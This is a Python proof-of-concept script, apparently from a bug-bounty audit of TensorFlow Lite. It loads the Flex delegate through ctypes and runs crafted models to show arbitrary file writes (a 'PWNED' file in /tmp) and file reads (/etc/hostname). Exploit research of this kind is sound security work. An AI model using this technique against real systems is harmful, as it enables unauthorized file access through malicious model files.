import os, ctypes, sys

tf_dir = "/home/lab/huntr/tflite_audit/venv/lib/python3.12/site-packages/tensorflow"

# Load TF libs in correct order BEFORE importing tensorflow
fw_path = os.path.join(tf_dir, "libtensorflow_framework.so.2")
cc_path = os.path.join(tf_dir, "libtensorflow_cc.so.2")

print("Loading TF native libraries...")
ctypes.CDLL(fw_path, mode=ctypes.RTLD_GLOBAL)
cc_lib = ctypes.CDLL(cc_path, mode=ctypes.RTLD_GLOBAL)

# Get AcquireFlexDelegate from cc lib
acquire = cc_lib._ZN6tflite19AcquireFlexDelegateEv
acquire.restype = ctypes.c_void_p
acquire.argtypes = []

flex_ptr = acquire()
print(f"FlexDelegate ptr: {hex(flex_ptr) if flex_ptr else 'NULL'}")

if not flex_ptr:
    print("FlexDelegate is NULL - cannot proceed")
    sys.exit(1)

# Now import TF (which will use the already-loaded libs)
print("Importing TensorFlow...")
import tensorflow as tf
from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper

# Test 1: flex_write.tflite
print("\n=== Testing flex_write.tflite ===")
with open("models/flex_write.tflite", "rb") as f:
    write_data = f.read()

w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True)
print("Created interpreter")

result = w.ModifyGraphWithDelegate(flex_ptr)
print(f"ModifyGraphWithDelegate: {result}")

try:
    w.AllocateTensors()
    print("AllocateTensors succeeded!")
    
    # Set input (content to write)
    import numpy as np
    input_idx = w.InputIndices()
    print(f"Input indices: {input_idx}")
    w.SetTensor(input_idx[0], np.array(b"PWNED by TFLite FlexDelegate"))
    
    w.Invoke()
    print("Invoke succeeded!")
    
    if os.path.exists("/tmp/tflite_pwned.txt"):
        with open("/tmp/tflite_pwned.txt") as f:
            print(f"*** FILE WRITTEN: {f.read()} ***")
    else:
        print("File not written")
except Exception as e:
    print(f"Error: {type(e).__name__}: {str(e)[:500]}")

# Test 2: flex_read.tflite
print("\n=== Testing flex_read.tflite ===")
with open("models/flex_read.tflite", "rb") as f:
    read_data = f.read()

w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True)
result2 = w2.ModifyGraphWithDelegate(flex_ptr)
print(f"ModifyGraphWithDelegate:  {result2}")

try:
    w2.AllocateTensors()
    print("AllocateTensors succeeded!")
    import numpy as np
    input_idx2 = w2.InputIndices()
    w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname"))
    w2.Invoke()
    print("Invoke succeeded!")
    output_idx2 = w2.OutputIndices()
    output = w2.GetTensor(output_idx2[0])
    print(f"*** FILE READ: {output} ***")
except Exception as e:
    print(f"Error: {type(e).__name__}: {str(e)[:500]}")